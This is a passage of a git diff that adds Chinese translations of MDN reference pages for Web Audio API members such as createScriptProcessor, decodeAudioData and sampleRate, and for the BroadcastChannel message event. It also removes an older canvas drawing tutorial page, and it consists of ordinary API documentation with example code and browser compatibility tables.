FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html new file mode 100644 index 0000000000..7e505bc06a --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html @@ -0,0 +1,199 @@ +--- +title: AudioContext.createScriptProcessor() +slug: Web/API/AudioContext/createScriptProcessor +translation_of: Web/API/BaseAudioContext/createScriptProcessor +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
+ +

参数

+ +
+
bufferSize
+
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
+
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
+
numberOfInputChannels
+
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
+
numberOfOutputChannels
+
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
+
+ +
+

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

+
+ +
+

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

+
+ +

返回

+ +

A {{domxref("ScriptProcessorNode")}}.

+ +

示例

+ +

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

+ +
+

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

+
+ +
var myScript = document.querySelector('script');
+var myPre = document.querySelector('pre');
+var playButton = document.querySelector('button');
+
+// Create AudioContext and buffer source
+var audioCtx = new AudioContext();
+source = audioCtx.createBufferSource();
+
+// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
+var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
+console.log(scriptNode.bufferSize);
+
+// load in an audio track via XHR and decodeAudioData
+
+function getData() {
+  request = new XMLHttpRequest();
+  request.open('GET', 'viper.ogg', true);
+  request.responseType = 'arraybuffer';
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+    myBuffer = buffer;
+    source.buffer = myBuffer;
+  },
+    function(e){"Error with decoding audio data" + e.err});
+  }
+  request.send();
+}
+
+// Give the node a function to process audio events
+scriptNode.onaudioprocess = function(audioProcessingEvent) {
+  // The input buffer is the song we loaded earlier
+  var inputBuffer = audioProcessingEvent.inputBuffer;
+
+  // The output buffer contains the samples that will be modified and played
+  var outputBuffer = audioProcessingEvent.outputBuffer;
+
+  // Loop through the output channels (in this case there is only one)
+  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
+    var inputData = inputBuffer.getChannelData(channel);
+    var outputData = outputBuffer.getChannelData(channel);
+
+    // Loop through the 4096 samples
+    for (var sample = 0; sample < inputBuffer.length; sample++) {
+      // make output equal to the same as the input
+      outputData[sample] = inputData[sample];
+
+      // add noise to each output sample
+      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
+    }
+  }
+}
+
+getData();
+
+// wire up play button
+playButton.onclick = function() {
+  source.connect(scriptNode);
+  scriptNode.connect(audioCtx.destination);
+  source.start();
+}
+
+// When the buffer source stops playing, disconnect everything
+source.onended = function() {
+  source.disconnect(scriptNode);
+  scriptNode.disconnect(audioCtx.destination);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html new file mode 100644 index 0000000000..7aef8d5688 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html @@ -0,0 +1,133 @@ +--- +title: AudioContext.createWaveShaper() +slug: Web/API/AudioContext/createWaveShaper +translation_of: Web/API/BaseAudioContext/createWaveShaper +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

+ +

语法

+ +
var audioCtx = new AudioContext();
+var distortion = audioCtx.createWaveShaper();
+ +

返回

+ +

A {{domxref("WaveShaperNode")}}.

+ +

例子

+ +

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

+ +

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

+ +
+

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var distortion = audioCtx.createWaveShaper();
+
+  ...
+
+function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+  ...
+
+distortion.curve = makeDistortionCurve(400);
+distortion.oversample = '4x';
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html new file mode 100644 index 0000000000..fbdaf4315c --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.currentTime +slug: Web/API/AudioContext/currentTime +translation_of: Web/API/BaseAudioContext/currentTime +--- +

{{ APIRef("Web Audio API") }}

+ +
+

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);
+ +

返回值

+ +

A double.

+ +

例子

+ +
+

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html new file mode 100644 index 0000000000..40693fd8cc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html @@ -0,0 +1,223 @@ +--- +title: AudioContext.decodeAudioData() +slug: Web/API/AudioContext/decodeAudioData +tags: + - API + - Audio + - audio接口 + - 音频解码 +translation_of: Web/API/BaseAudioContext/decodeAudioData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

+
+ +

这是从音频轨道创建用于web audio API音频源的首选方法。

+ +

语法

+ +

旧版的回调函数语法

+ +
audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});
+ +

新版的promise-based语法:

+ +
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});
+ +

举例

+ +

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

+ +

旧的回调语法

+ +

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

+ +

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

+ +
+

Note: You can run the example live (or view the source.)

+
+ +
// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;
+ +

新的promise-based语法

+ +
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});
+ +

参数

+ +
+
ArrayBuffer
+
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
+
DecodeSuccessCallback
+
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
+
DecodeErrorCallback
+
一个可选的错误回调函数.
+
+ +

返回

+ +

一个 {{domxref("Promise") }}对象.

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/destination/index.html b/files/zh-cn/web/api/baseaudiocontext/destination/index.html new file mode 100644 index 0000000000..04fdfe8247 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/destination/index.html @@ -0,0 +1,114 @@ +--- +title: AudioContext.destination +slug: Web/API/AudioContext/destination +translation_of: Web/API/BaseAudioContext/destination +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+gainNode.connect(audioCtx.destination);
+ +

返回值

+ +

An {{ domxref("AudioDestinationNode") }}.

+ +

例子

+ +
+

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillatorNode.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/listener/index.html b/files/zh-cn/web/api/baseaudiocontext/listener/index.html new file mode 100644 index 0000000000..81b2a730a2 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/listener/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.listener +slug: Web/API/AudioContext/listener +translation_of: Web/API/BaseAudioContext/listener +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myListener = audioCtx.listener;
+ +

返回值

+ +

An {{ domxref("AudioListener") }} object.

+ +

例子

+ +
+

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+var myListener = audioCtx.listener;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html new file mode 100644 index 0000000000..ee9b3f21c0 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html @@ -0,0 +1,101 @@ +--- +title: AudioContext.onstatechange +slug: Web/API/AudioContext/onstatechange +translation_of: Web/API/BaseAudioContext/onstatechange +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+audioCtx.onstatechange = function() { ... };
+ +

例子

+ +

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html new file mode 100644 index 0000000000..b811702e26 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.sampleRate +slug: Web/API/AudioContext/sampleRate +translation_of: Web/API/BaseAudioContext/sampleRate +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var mySampleRate = audioCtx.sampleRate;
+ +

返回值

+ +

A floating point number.

+ +

例子

+ +
+

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.sampleRate);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/state/index.html b/files/zh-cn/web/api/baseaudiocontext/state/index.html new file mode 100644 index 0000000000..97876f5d3d --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/state/index.html @@ -0,0 +1,111 @@ +--- +title: AudioContext.state +slug: Web/API/AudioContext/state +translation_of: Web/API/BaseAudioContext/state +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myState = audioCtx.state;
+ +

返回值

+ +

{{domxref("DOMString")}},可能的值如下:

+ +
    +
  • suspended: audio context被阻塞了(用{{domxref("AudioContext.suspend()")}} 方法)
  • +
  • running: audio context正常运行
  • +
  • closed: audio context被关闭了(用{{domxref("AudioContext.close()")}}方法)
  • +
+ +

例子

+ +

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/message_event/index.html b/files/zh-cn/web/api/broadcastchannel/message_event/index.html new file mode 100644 index 0000000000..ccbd2d9859 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/message_event/index.html @@ -0,0 +1,167 @@ +--- +title: 'BroadcastChannel: message event' +slug: Web/Events/message +tags: + - 事件 + - 消息 + - 通信 +translation_of: Web/API/BroadcastChannel/message_event +--- +
{{APIRef}}
+ +

当频道收到一条消息时,会在关联的 {{domxref('BroadcastChannel')}} 对象上触发 message 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("MessageEvent")}}
Event handler propertyonmessage
+ +

示例

+ +

实时示例

+ +

在这个例子中,有一个 <iframe> 作为发送者,当用户点击按钮之后,会广播 <textarea> 中的内容。同时,有两个 <iframe> 作为接收者,会监听广播的消息,并将结果写入 <div> 元素。

+ +

发送者

+ + + +
const channel = new BroadcastChannel('example-channel');
+const messageControl = document.querySelector('#message');
+const broadcastMessageButton = document.querySelector('#broadcast-message');
+
+broadcastMessageButton.addEventListener('click', () => {
+    channel.postMessage(messageControl.value);
+})
+
+ +

接收者 1

+ + + +
const channel = new BroadcastChannel('example-channel');
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+ +

接收者 2

+ + + +
const channel = new BroadcastChannel('example-channel');
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+ +

结果

+ +

{{ EmbedLiveSample('发送者', '100%', '170px','' ,'' , 'dummy') }}

+ +

{{ EmbedLiveSample('接收者_1', '100%', '150px','' ,'' , 'dummy') }}

+ +

{{ EmbedLiveSample('接收者_2', '100%', '150px','' ,'' , 'dummy') }}

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', 'indices.html#event-message')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.message_event")}}

+ +

相关信息

+ + diff --git a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html b/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html deleted file mode 100644 index 3cef2b94e8..0000000000 --- a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Drawing graphics with canvas -slug: Web/API/Canvas_API/Drawing_graphics_with_canvas -translation_of: Web/API/Canvas_API/Tutorial -translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas ---- -
-

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

-

 

-
-

Introduction

-

With Firefox 1.5, Firefox includes a new HTML element for programmable graphics. <canvas> is based on the WHATWG canvas specification, which itself is based on Apple's <canvas> implemented in Safari. It can be used for rendering graphs, UI elements, and other custom graphics on the client.

-

<canvas> creates a fixed size drawing surface that exposes one or more rendering contexts. We'll focus on the 2D rendering context. For 3D graphics, you should use the WebGL rendering context.

-

The 2D Rendering Context

-

A Simple Example

-

To start off, here's a simple example that draws two intersecting rectangles, one of which has alpha transparency:

-
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillStyle = "rgb(200,0,0)";
-  ctx.fillRect (10, 10, 55, 50);
-
-  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
-  ctx.fillRect (30, 30, 55, 50);
-}
-
- -

{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}

-

The draw function gets the canvas element, then obtains the 2d context. The ctx object can then be used to actually render to the canvas. The example simply fills two rectangles, by setting fillStyle to two different colors using CSS color specifications and calling fillRect. The second fillStyle uses rgba() to specify an alpha value along with the color.

-

The fillRect, strokeRect, and clearRect calls render a filled, outlined, or clear rectangle. To render more complex shapes, paths are used.

-

Using Paths

-

The beginPath function starts a new path, and moveTo, lineTo, arcTo, arc, and similar methods are used to add segments to the path. The path can be closed using closePath. Once a path is created, you can use fill or stroke to render the path to the canvas.

-
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillStyle = "red";
-
-  ctx.beginPath();
-  ctx.moveTo(30, 30);
-  ctx.lineTo(150, 150);
-  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
-  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // <- this is right formula for the image on the right ->
-  ctx.lineTo(30, 30);
-  ctx.fill();
-}
-
- -

{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}

-

